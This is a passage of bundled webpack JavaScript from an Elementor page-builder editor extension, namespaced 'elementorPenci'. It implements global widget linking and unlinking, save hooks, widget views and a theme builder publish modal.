						_this3.addSavedWidgetsToPanel(); // setWidgetType depends on addSavedWidgetsToPanel.


						_this3.setWidgetType();
					});
				}
			}, {
				key: "onElementorPreviewLoaded",
				value: function onElementorPreviewLoaded(isFirst) {
					if (!isFirst) {
						return;
					}

					this.addPanelPage();
					$e.routes.register('panel/editor', 'global', function (args) {
						elementor.getPanelView().setPage('globalWidget', 'Global Editing', {
							editedView: args.view
						});
					});
				}
			}, {
				key: "onElementorInitComponents",
				value: function onElementorInitComponents() {
					$e.components.register(new _component.default({
						manager: this
					}));
				}
			}, {
				key: "onWidgetTemplateSaved",
				value: function onWidgetTemplateSaved(data) {
					elementor.templates.layout.hideModal();
					var container = $e.components.get('document').utils.findContainerById(elementor.templates.layout.modalContent.currentView.model.id);
					$e.run('document/global/link', {
						container: container,
						data: data
					});
				}
			}]);
			return Module;
		}(elementorModules.editor.utils.Module);

		exports.default = Module;

		/***/ }),
	/* 368 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var commands = _interopRequireWildcard(__webpack_require__(369));

		var hooks = _interopRequireWildcard(__webpack_require__(372));

		var Component = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(Component, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(Component);

			function Component() {
				(0, _classCallCheck2.default)(this, Component);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Component, [{
				key: "getNamespace",
				value: function getNamespace() {
					return 'document/global';
				}
			}, {
				key: "defaultCommands",
				value: function defaultCommands() {
					return this.importCommands(commands);
				}
			}, {
				key: "defaultHooks",
				value: function defaultHooks() {
					return this.importHooks(hooks);
				}
			}]);
			return Component;
		}($e.modules.ComponentBase);

		exports.default = Component;

		/***/ }),
	/* 369 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "Link", {
			enumerable: true,
			get: function get() {
				return _link.Link;
			}
		});

		_Object$defineProperty(exports, "Unlink", {
			enumerable: true,
			get: function get() {
				return _unlink.Unlink;
			}
		});

		var _link = __webpack_require__(370);

		var _unlink = __webpack_require__(371);

		/***/ }),
	/* 370 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.Link = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var Link = /*#__PURE__*/function (_$e$modules$document$) {
			(0, _inherits2.default)(Link, _$e$modules$document$);

			var _super = (0, _createSuper2.default)(Link);

			function Link() {
				(0, _classCallCheck2.default)(this, Link);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Link, [{
				key: "validateArgs",
				value: function validateArgs(args) {
					this.requireContainer(args);
					this.requireArgumentConstructor('data', Object, args);
					var _args$containers = args.containers,
						containers = _args$containers === void 0 ? [args.container] : _args$containers;
					containers.forEach(function (
						/* Container */
						container) {
						if ('global' === container.model.get('widgetType')) {
							throw Error("Invalid container, id: '".concat(container.id, "' is already global."));
						}
					});
				}
			}, {
				key: "getHistory",
				value: function getHistory(args) {
					var data = args.data;
					return {
						title: elementor.widgetsCache[data.widgetType].title,
						subTitle: data.title,
						type: elementorPenci.translate('linked_to_global')
					};
				}
			}, {
				key: "apply",
				value: function apply(args) {
					var data = args.data,
						_args$containers2 = args.containers,
						containers = _args$containers2 === void 0 ? [args.container] : _args$containers2;
					containers.forEach(function (
						/** Container */
						container) {
						var widgetModel = container.model,
							widgetModelIndex = widgetModel.collection.indexOf(widgetModel);
						data.elType = data.type;
						data.settings = widgetModel.get('settings').attributes;
						var globalModel = elementorPenci.modules.globalWidget.addGlobalWidget(data.template_id, data),
							globalModelAttributes = globalModel.attributes;
						$e.run('document/elements/create', {
							container: container.parent,
							model: {
								id: elementor.helpers.getUniqueID(),
								elType: globalModelAttributes.type,
								templateID: globalModelAttributes.template_id,
								widgetType: 'global'
							},
							options: {
								at: widgetModelIndex
							}
						});
						$e.run('document/elements/delete', {
							container: container
						});
					});
					$e.route('panel/elements/global');
				}
			}]);
			return Link;
		}($e.modules.document.CommandHistory);

		exports.Link = Link;
		var _default = Link;
		exports.default = _default;

		/***/ }),
	/* 371 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.Unlink = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var Unlink = /*#__PURE__*/function (_$e$modules$document$) {
			(0, _inherits2.default)(Unlink, _$e$modules$document$);

			var _super = (0, _createSuper2.default)(Unlink);

			function Unlink() {
				(0, _classCallCheck2.default)(this, Unlink);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Unlink, [{
				key: "validateArgs",
				value: function validateArgs(args) {
					this.requireContainer(args);
				}
			}, {
				key: "getHistory",
				value: function getHistory(args) {
					var _args$containers = args.containers,
						containers = _args$containers === void 0 ? [args.container] : _args$containers;
					return {
						title: elementor.helpers.getModelLabel(containers[0].model),
						// TODO: add support multi containers.
						type: elementorPenci.translate('unlink_widget')
					};
				}
			}, {
				key: "apply",
				value: function apply(args) {
					var _args$containers2 = args.containers,
						containers = _args$containers2 === void 0 ? [args.container] : _args$containers2;
					containers.forEach(function (
						/** Container */
						container) {
						var globalModel = elementorPenci.modules.globalWidget.getGlobalModels(container.model.get('templateID'));
						$e.run('document/elements/create', {
							container: container.parent,
							model: {
								id: elementor.helpers.getUniqueID(),
								elType: 'widget',
								widgetType: globalModel.get('widgetType'),
								settings: elementorCommon.helpers.cloneObject(globalModel.get('settings').attributes),
								defaultEditSettings: elementorCommon.helpers.cloneObject(globalModel.get('editSettings').attributes)
							},
							options: {
								at: container.model.collection.indexOf(container.model),
								edit: true
							}
						});
						$e.run('document/elements/delete', {
							container: container
						});
					});
				}
			}]);
			return Unlink;
		}($e.modules.document.CommandHistory);

		exports.Unlink = Unlink;
		var _default = Unlink;
		exports.default = _default;

		/***/ }),
	/* 372 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$keys = __webpack_require__(48);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		var _data = __webpack_require__(373);

		_Object$keys(_data).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _data[key];
				}
			});
		});

		/***/ }),
	/* 373 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "GlobalWidgetSave", {
			enumerable: true,
			get: function get() {
				return _save.GlobalWidgetSave;
			}
		});

		var _save = __webpack_require__(374);

		/***/ }),
	/* 374 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.GlobalWidgetSave = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var GlobalWidgetSave = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(GlobalWidgetSave, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(GlobalWidgetSave);

			function GlobalWidgetSave() {
				(0, _classCallCheck2.default)(this, GlobalWidgetSave);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(GlobalWidgetSave, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/save';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-global-widget-save';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var _args$document = args.document,
						document = _args$document === void 0 ? elementor.documents.getCurrent() : _args$document;
					return document.config.panel.has_elements && args.status && -1 !== ['private', 'publish'].indexOf(args.status);
				}
			}, {
				key: "apply",
				value: function apply() {
					elementorPenci.modules.globalWidget.saveTemplates();
				}
			}]);
			return GlobalWidgetSave;
		}($e.modules.hookData.After);

		exports.GlobalWidgetSave = GlobalWidgetSave;
		var _default = GlobalWidgetSave;
		exports.default = _default;

		/***/ }),
	/* 375 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var WidgetView = elementor.modules.elements.views.Widget,
			GlobalWidgetView;
		GlobalWidgetView = WidgetView.extend({
			globalModel: null,
			className: function className() {
				return WidgetView.prototype.className.apply(this, arguments) + ' elementor-global-widget elementor-global-' + this.model.get('templateID');
			},
			initialize: function initialize() {
				var self = this,
					previewSettings = self.model.get('previewSettings'),
					globalModel = self.getGlobalModel();

				if (previewSettings) {
					globalModel.set('settingsLoadedStatus', 'loaded').trigger('settings:loaded');
					var settingsModel = globalModel.get('settings');
					settingsModel.handleRepeaterData(previewSettings);
					settingsModel.set(previewSettings, {
						silent: true
					});
				} else {
					var globalSettingsLoadedStatus = globalModel.get('settingsLoadedStatus');

					if (!globalSettingsLoadedStatus) {
						globalModel.set('settingsLoadedStatus', 'pending');
						elementorPenci.modules.globalWidget.requestGlobalModelSettings(globalModel, null, this.getContainer());
					}

					if ('loaded' !== globalSettingsLoadedStatus) {
						self.$el.addClass('elementor-loading');
					}

					globalModel.on('settings:loaded', function () {
						self.$el.removeClass('elementor-loading');
						self.render();
					});
				}

				WidgetView.prototype.initialize.apply(self, arguments);
			},
			getGlobalModel: function getGlobalModel() {
				if (!this.globalModel) {
					this.globalModel = elementorPenci.modules.globalWidget.getGlobalModels(this.model.get('templateID'));
				}

				return this.globalModel;
			},
			getEditModel: function getEditModel() {
				return this.getGlobalModel();
			},
			getHTMLContent: function getHTMLContent(html) {
				if ('loaded' === this.getGlobalModel().get('settingsLoadedStatus')) {
					return WidgetView.prototype.getHTMLContent.call(this, html);
				}

				return '';
			},
			serializeModel: function serializeModel() {
				var globalModel = this.getGlobalModel();
				return globalModel.toJSON.apply(globalModel, _.rest(arguments));
			},
			unlink: function unlink() {
				$e.run('document/global/unlink', {
					container: this.getContainer()
				});
			},
			onEditRequest: function onEditRequest() {
				$e.route('panel/editor/global', {
					view: this
				});
			}
		});
		module.exports = GlobalWidgetView;

		/***/ }),
	/* 376 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(198);

		__webpack_require__(101);

		module.exports = elementor.modules.elements.models.Element.extend({
			initialize: function initialize() {
				this.set({
					widgetType: 'global'
				}, {
					silent: true
				});
				elementor.modules.elements.models.Element.prototype.initialize.apply(this, arguments);
				elementorFrontend.config.elements.data[this.cid].on('change', this.onSettingsChange.bind(this));
			},
			initSettings: function initSettings() {
				var globalModel = this.getGlobalModel(),
					settingsModel = globalModel.get('settings');
				this.set('settings', settingsModel);
				elementorFrontend.config.elements.data[this.cid] = settingsModel;
				elementorFrontend.config.elements.editSettings[this.cid] = globalModel.get('editSettings');
			},
			initEditSettings: function initEditSettings() {
				var editSettings = new Backbone.Model(this.get('defaultEditSettings'));
				this.set('editSettings', editSettings); // Set default edit tab.

				this.get('editSettings').set('editTab', 'global');
			},
			getGlobalModel: function getGlobalModel() {
				var templateID = this.get('templateID');
				return elementorPenci.modules.globalWidget.getGlobalModels(templateID);
			},
			getTitle: function getTitle() {
				var title = this.getSetting('_title');

				if (!title) {
					title = this.getGlobalModel().get('title');
				}

				var global = elementorPenci.translate('global');
				title = title.replace(new RegExp('\\(' + global + '\\)$'), '');
				return title + ' (' + global + ')';
			},
			getIcon: function getIcon() {
				return this.getGlobalModel().getIcon();
			},
			onSettingsChange: function onSettingsChange(model) {
				if (!model.changed.elements) {
					this.set('previewSettings', model.toJSON({
						remove: ['default']
					}), {
						silent: true
					});
				}
			},
			onDestroy: function onDestroy() {
				// Can be also 'panel/editor/global'.
				if ($e.routes.isPartOf('panel/editor')) {
					$e.route('panel/elements/categories');
				}
			}
		});

		/***/ }),
	/* 377 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementor.modules.layouts.panel.pages.elements.views.Elements.extend({
			id: 'elementor-global-templates',
			getEmptyView: function getEmptyView() {
				if (this.collection.length) {
					return null;
				}

				return __webpack_require__(378);
			},
			onFilterEmpty: function onFilterEmpty() {}
		});

		/***/ }),
	/* 378 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var GlobalWidgetsView = elementor.modules.layouts.panel.pages.elements.views.Global;
		module.exports = GlobalWidgetsView.extend({
			template: '#tmpl-elementor-panel-global-widget-no-templates',
			id: 'elementor-panel-global-widget-no-templates',
			className: 'elementor-nerd-box elementor-panel-nerd-box'
		});

		/***/ }),
	/* 379 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = Marionette.ItemView.extend({
			id: 'elementor-panel-global-widget',
			template: '#tmpl-elementor-panel-global-widget',
			ui: {
				editButton: '#elementor-global-widget-locked-edit .elementor-button',
				unlinkButton: '#elementor-global-widget-locked-unlink .elementor-button',
				loading: '#elementor-global-widget-loading'
			},
			events: {
				'click @ui.editButton': 'onEditButtonClick',
				'click @ui.unlinkButton': 'onUnlinkButtonClick'
			},
			initialize: function initialize() {
				this.initUnlinkDialog();
			},
			buildUnlinkDialog: function buildUnlinkDialog() {
				var self = this;
				return elementorCommon.dialogsManager.createWidget('confirm', {
					id: 'elementor-global-widget-unlink-dialog',
					headerMessage: elementorPenci.translate('unlink_widget'),
					message: elementorPenci.translate('dialog_confirm_unlink'),
					position: {
						my: 'center center',
						at: 'center center'
					},
					strings: {
						confirm: elementorPenci.translate('unlink'),
						cancel: elementorPenci.translate('cancel')
					},
					onConfirm: function onConfirm() {
						self.getOption('editedView').unlink();
					}
				});
			},
			initUnlinkDialog: function initUnlinkDialog() {
				var dialog;

				this.getUnlinkDialog = function () {
					if (!dialog) {
						dialog = this.buildUnlinkDialog();
					}

					return dialog;
				};
			},
			editGlobalModel: function editGlobalModel() {
				var editedView = this.getOption('editedView');
				$e.run('panel/editor/open', {
					model: editedView.getEditModel(),
					view: editedView
				});
			},
			onEditButtonClick: function onEditButtonClick() {
				var self = this,
					editedView = self.getOption('editedView'),
					editedModel = editedView.getEditModel();

				if ('loaded' === editedModel.get('settingsLoadedStatus')) {
					self.editGlobalModel();
					return;
				}

				self.ui.loading.removeClass('elementor-hidden');
				elementorPenci.modules.globalWidget.requestGlobalModelSettings(editedModel, function () {
					self.ui.loading.addClass('elementor-hidden');
					self.editGlobalModel();
				});
			},
			onUnlinkButtonClick: function onUnlinkButtonClick() {
				this.getUnlinkDialog().show();
			}
		});

		/***/ }),
	/* 380 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty2 = __webpack_require__(0);

		_Object$defineProperty2(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		__webpack_require__(233);

		var _defineProperty = _interopRequireDefault(__webpack_require__(0));

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get3 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(381));

		var ThemeBuilderModule = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(ThemeBuilderModule, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(ThemeBuilderModule);

			function ThemeBuilderModule() {
				(0, _classCallCheck2.default)(this, ThemeBuilderModule);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(ThemeBuilderModule, [{
				key: "__construct",
				value: function __construct() {
					var _get2;

					for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
						args[_key] = arguments[_key];
					}

					(_get2 = (0, _get3.default)((0, _getPrototypeOf2.default)(ThemeBuilderModule.prototype), "__construct", this)).call.apply(_get2, [this].concat(args));

					(0, _defineProperty.default)(elementorPenci.config, 'theme_builder', {
						get: function get() {
							elementorCommon.helpers.softDeprecated('theme_builder', '2.9.0', 'elementor.config.document.theme_builder');
							return elementor.config.document.theme_builder;
						}
					});
				}
			}, {
				key: "onElementorLoaded",
				value: function onElementorLoaded() {
					this.component = $e.components.register(new _component.default({
						manager: this
					}));
					elementor.on('document:loaded', this.onDocumentLoaded.bind(this));
					elementor.on('document:unload', this.onDocumentUnloaded.bind(this));
					this.onApplyPreview = this.onApplyPreview.bind(this);
					this.onSectionPreviewSettingsActive = this.onSectionPreviewSettingsActive.bind(this);
				}
			}, {
				key: "onDocumentLoaded",
				value: function onDocumentLoaded(document) {
					if (!document.config.theme_builder) {
						return;
					}

					elementor.getPanelView().on('set:page:page_settings', this.updatePreviewIdOptions);
					elementor.channels.editor.on('elementorThemeBuilder:ApplyPreview', this.onApplyPreview);
					elementor.channels.editor.on('page_settings:preview_settings:activated', this.onSectionPreviewSettingsActive);
				}
			}, {
				key: "onDocumentUnloaded",
				value: function onDocumentUnloaded(document) {
					if (!document.config.theme_builder) {
						return;
					}

					elementor.getPanelView().off('set:page:page_settings', this.updatePreviewIdOptions);
					elementor.channels.editor.off('elementorThemeBuilder:ApplyPreview', this.onApplyPreview);
					elementor.channels.editor.off('page_settings:preview_settings:activated', this.onSectionPreviewSettingsActive);
				}
			}, {
				key: "saveAndReload",
				value: function saveAndReload() {
					$e.run('document/save/auto', {
						force: true,
						onSuccess: function onSuccess() {
							elementor.dynamicTags.cleanCache();
							elementor.reloadPreview();
						}
					});
				}
			}, {
				key: "onApplyPreview",
				value: function onApplyPreview() {
					this.saveAndReload();
				}
			}, {
				key: "onSectionPreviewSettingsActive",
				value: function onSectionPreviewSettingsActive() {
					this.updatePreviewIdOptions(true);
				}
			}, {
				key: "updatePreviewIdOptions",
				value: function updatePreviewIdOptions(render) {
					var previewType = elementor.settings.page.model.get('preview_type');

					if (!previewType) {
						return;
					}

					previewType = previewType.split('/');
					var currentView = elementor.getPanelView().getCurrentPageView(),
						controlModel = currentView.collection.findWhere({
							name: 'preview_id'
						});

					if ('author' === previewType[1]) {
						controlModel.set({
							autocomplete: {
								object: 'author'
							}
						});
					} else if ('taxonomy' === previewType[0]) {
						controlModel.set({
							autocomplete: {
								object: 'tax',
								query: {
									taxonomy: previewType[1]
								}
							}
						});
					} else if ('single' === previewType[0]) {
						controlModel.set({
							autocomplete: {
								object: 'post',
								query: {
									post_type: previewType[1]
								}
							}
						});
					} else {
						controlModel.set({
							autocomplete: {
								object: ''
							}
						});
					}

					if (true === render) {
						// Can be model.
						var controlView = currentView.children.findByModel(controlModel);
						controlView.render();
						controlView.$el.toggle(!!controlModel.get('autocomplete').object);
					}
				}
			}]);
			return ThemeBuilderModule;
		}(elementorModules.editor.utils.Module);

		exports.default = ThemeBuilderModule;

		/***/ }),
	/* 381 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _keys = _interopRequireDefault(__webpack_require__(48));

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get2 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _content = _interopRequireDefault(__webpack_require__(382));

		var _layout = _interopRequireDefault(__webpack_require__(383));

		var hooks = _interopRequireWildcard(__webpack_require__(384));

		var Component = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(Component, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(Component);

			function Component() {
				(0, _classCallCheck2.default)(this, Component);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Component, [{
				key: "getNamespace",
				value: function getNamespace() {
					// TODO: should be 'theme-builder/publish'.
					return 'theme-builder-publish';
				}
			}, {
				key: "getModalLayout",
				value: function getModalLayout() {
					return _layout.default;
				}
			}, {
				key: "defaultCommands",
				value: function defaultCommands() {
					var _this = this;

					return {
						next: function next() {
							var tabs = (0, _keys.default)(_this.tabs),
								next = tabs[_this.currentTabIndex + 1];

							if (next) {
								$e.route(_this.getTabRoute(next));
							}
						},
						save: function save() {
							$e.run('document/save/default', {
								force: true
							});

							_this.layout.hideModal();
						},
						'preview-settings': function previewSettings() {
							// TODO: This is function is not part of this component.
							var panel = elementor.getPanelView();
							$e.route('panel/page-settings/settings');

							panel.getCurrentPageView().activateSection('preview_settings')._renderChildren();
						}
					};
				}
			}, {
				key: "defaultHooks",
				value: function defaultHooks() {
					return this.importHooks(hooks);
				}
			}, {
				key: "getTabsWrapperSelector",
				value: function getTabsWrapperSelector() {
					return '#elementor-publish__tabs';
				}
			}, {
				key: "renderTab",
				value: function renderTab(tab) {
					var tabs = this.getTabs(),
						keys = (0, _keys.default)(tabs),
						tabArgs = tabs[tab];
					this.currentTabIndex = keys.indexOf(tab);
					var isLastTab = !keys[this.currentTabIndex + 1];
					this.layout.modalContent.currentView.screen.show(new tabArgs.View(tabArgs.viewOptions));
					this.layout.modal.getElements('next').toggle(!isLastTab);
					this.layout.modal.getElements('publish').toggleClass('elementor-button-success', isLastTab);
				}
			}, {
				key: "activateTab",
				value: function activateTab(tab) {
					$e.routes.saveState(this.getNamespace());
					(0, _get2.default)((0, _getPrototypeOf2.default)(Component.prototype), "activateTab", this).call(this, tab);
				}
			}, {
				key: "open",
				value: function open() {
					(0, _get2.default)((0, _getPrototypeOf2.default)(Component.prototype), "open", this).call(this);

					if (!this.layoutContent) {
						this.layout.showLogo();
						this.layout.modalContent.show(new _content.default({
							component: this
						}));
						this.layoutContent = true;
					}

					return true;
				}
			}]);
			return Component;
		}($e.modules.ComponentModalBase);

		exports.default = Component;

		/***/ }),
	/* 382 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_Marionette$LayoutVie) {
			(0, _inherits2.default)(_default, _Marionette$LayoutVie);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "id",
				value: function id() {
					return 'elementor-publish';
				}
			}, {
				key: "getTemplate",
				value: function getTemplate() {
					return Marionette.TemplateCache.get('#tmpl-elementor-component-publish');
				}
			}, {
				key: "regions",
				value: function regions() {
					return {
						screen: '#elementor-publish__screen'
					};
				}
			}, {
				key: "templateHelpers",
				value: function templateHelpers() {
					return {
						tabs: this.getOption('component').getTabs()
					};
				}
			}]);
			return _default;
		}(Marionette.LayoutView);

		exports.default = _default;

		/***/ }),
	/* 383 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get2 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_elementorModules$com) {
			(0, _inherits2.default)(_default, _elementorModules$com);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "getModalOptions",
				value: function getModalOptions() {
					return {
						id: 'elementor-publish__modal',
						hide: {
							onButtonClick: false
						}
					};
				}
			}, {
				key: "getLogoOptions",
				value: function getLogoOptions() {
					return {
						title: elementorPenci.translate('publish_settings')
					};
				}
			}, {
				key: "initModal",
				value: function initModal() {
					(0, _get2.default)((0, _getPrototypeOf2.default)(_default.prototype), "initModal", this).call(this);
					this.modal.addButton({
						name: 'publish',
						text: elementorPenci.translate('save_and_close'),
						callback: function callback() {
							return $e.run('theme-builder-publish/save');
						}
					});
					this.modal.addButton({
						name: 'next',
						text: elementorPenci.translate('next'),
						callback: function callback() {
							return $e.run('theme-builder-publish/next');
						}
					});
					var $publishButton = this.modal.getElements('publish');
					this.modal.getElements('next').addClass('elementor-button-success').add($publishButton).addClass('elementor-button').removeClass('dialog-button');
				}
			}]);
			return _default;
		}(elementorModules.common.views.modal.Layout);

		exports.default = _default;

		/***/ }),
	/* 384 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$keys = __webpack_require__(48);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		var _data = __webpack_require__(385);

		_Object$keys(_data).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _data[key];
				}
			});
		});

		var _ui = __webpack_require__(392);

		_Object$keys(_ui).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _ui[key];
				}
			});
		});

		/***/ }),
	/* 385 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$keys = __webpack_require__(48);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		var _exportNames = {
			ThemeBuilderSaveConditions: true,
			ThemeBuilderShowConditions: true,
			ThemeBuilderPreviewBreak: true
		};

		_Object$defineProperty(exports, "ThemeBuilderSaveConditions", {
			enumerable: true,
			get: function get() {
				return _saveConditions.ThemeBuilderSaveConditions;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderShowConditions", {
			enumerable: true,
			get: function get() {
				return _showConditions.ThemeBuilderShowConditions;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderPreviewBreak", {
			enumerable: true,
			get: function get() {
				return _previewBreak.ThemeBuilderPreviewBreak;
			}
		});

		var _settings = __webpack_require__(386);

		_Object$keys(_settings).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;
			if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _settings[key];
				}
			});
		});

		var _saveConditions = __webpack_require__(389);

		var _showConditions = __webpack_require__(390);

		var _previewBreak = __webpack_require__(391);

		/***/ }),
	/* 386 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "ThemeBuilderSaveAndReload", {
			enumerable: true,
			get: function get() {
				return _saveAndReload.ThemeBuilderSaveAndReload;
			}
		});

		_Object$defineProperty(exports, "ThemeBuilderUpdatePreviewOptions", {
			enumerable: true,
			get: function get() {
				return _updatePreviewOptions.ThemeBuilderUpdatePreviewOptions;
			}
		});

		var _saveAndReload = __webpack_require__(387);

		var _updatePreviewOptions = __webpack_require__(388);

		/***/ }),
	/* 387 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.ThemeBuilderSaveAndReload = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		/**
		 * Hook fired when template: 'single' page layout changed.
		 */
		var ThemeBuilderSaveAndReload = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(ThemeBuilderSaveAndReload, _$e$modules$hookData$);

